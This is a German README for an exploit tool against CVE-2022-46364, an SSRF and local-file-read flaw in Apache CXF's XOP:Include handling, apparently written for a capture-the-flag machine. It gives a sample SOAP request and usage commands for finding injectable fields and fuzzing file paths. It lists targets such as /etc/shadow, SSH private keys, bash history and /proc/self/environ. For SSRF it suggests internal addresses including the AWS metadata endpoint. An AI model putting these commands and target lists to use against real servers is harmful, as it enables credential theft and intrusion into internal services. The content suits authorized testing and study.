
CVE-2022-46364 Apache CXF XOP:Include SSRF / LFI
Autor: 0xmid00
Verwundbarkeit: SSRF / Lokaler Dateizugriff via XOP:Include in MTOM-Anfragen
Betroffen: Apache CXF < 3.5.5 und < 3.4.10
Apache CXF verarbeitet MTOM (Message Transmission Optimization Mechanism)-Nachrichten, die XOP:Include-Elemente enthalten. Das href-Attribut von XOP:Include soll auf einen Anhang innerhalb derselben MTOM-Multipart-Nachricht verweisen.
In verwundbaren Versionen folgt CXF jedoch jeder URI im href, einschließlich:
file:///etc/passwd → liest lokale Dateien (LFI)http://127.0.0.1:PORT/ → testet interne Dienste (SSRF)Ein Angreifer muss lediglich eine SOAP-Anfrage mit mindestens einem Parameter beliebigen Typs senden, um dies auszulösen.
pip install requests
python3 exploit.py -r request.txt [options]
Speichern Sie Ihre rohe HTTP-Anfrage in einer .txt-Datei genau wie aufgezeichnet (z.B. von Burp):
POST /employeeservice HTTP/1.1
Host: devarea.htb:8080
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
Connection: close
Content-Length: 487
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:tns="http://devarea.htb/">
<soapenv:Body>
<tns:submitReport>
<arg0>
<confidential>false</confidential>
<content>test</content>
<department>IT</department>
<employeeName>john</employeeName>
</arg0>
</tns:submitReport>
</soapenv:Body>
</soapenv:Envelope>
Der Exploit konvertiert sie automatisch in das MTOM-Format — Sie müssen das nicht manuell tun.
python3 exploit.py -r request.txt --mode 1
Versucht, file:///etc/passwd in jedes Blatt-XML-Element zu injizieren und meldet, welche Dateiinhalte zurückgeben.
python3 exploit.py -r request.txt --mode 1 --field content
python3 exploit.py -r request.txt --mode 2 --wordlist lfi.txt
Führt zuerst Modus 1 aus, um das injizierbare Feld zu finden, und fuzzt dann alle Pfade in der Wortliste durch dieses Feld.
python3 exploit.py -r request.txt --mode 2 --field content --wordlist lfi.txt
Überspringt die Felderkennung und geht direkt zum Fuzzing.
python3 exploit.py -r request.txt --field content --read /home/dev_ryan/.ssh/id_rsa
/etc/passwd
/etc/shadow
/etc/hosts
/etc/hostname
/proc/self/environ
/proc/self/cmdline
/home/dev_ryan/.ssh/id_rsa
/home/dev_ryan/.bash_history
/home/dev_ryan/.bashrc
/root/.ssh/id_rsa
/root/.bash_history
/var/log/auth.log
/var/log/syslog
Sie können auch SecLists verwenden:
/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
<xop:Include href="file:///..."/>Um interne HTTP-Dienste zu testen anstatt Dateien zu lesen:
python3 exploit.py -r request.txt --field content --read http://127.0.0.1:8080/
Oder bearbeiten Sie den --read-Wert mit einer beliebigen internen URL:
--read http://169.254.169.254/latest/meta-data/ (AWS-Metadaten)
--read http://127.0.0.1:3306/ (MySQL)
--read http://127.0.0.1:22/ (SSH-Banner)
Dieses Tool ist nur für autorisierte Penetrationstests und CTF-Herausforderungen vorgesehen. Der Autor übernimmt keine Verantwortung für Missbrauch.
| Argument | Beschreibung |
|---|
-r, --request | Pfad zur rohen HTTP-Anfragedatei (erforderlich) |
--mode 1 | Automatische Erkennung injizierbarer XML-Felder mit /etc/passwd |
--mode 2 | Fuzzing einer Wortliste von Dateipfaden |
--field NAME | Geben Sie das zu injizierende XML-Feld an (überspringt automatische Erkennung) |
--wordlist PATH | Pfad zur Datei-Wortliste für Modus 2 |
--read PATH | Eine einzelne bestimmte Datei lesen |
-v, --verbose | Detaillierte Anfrageinformationen anzeigen |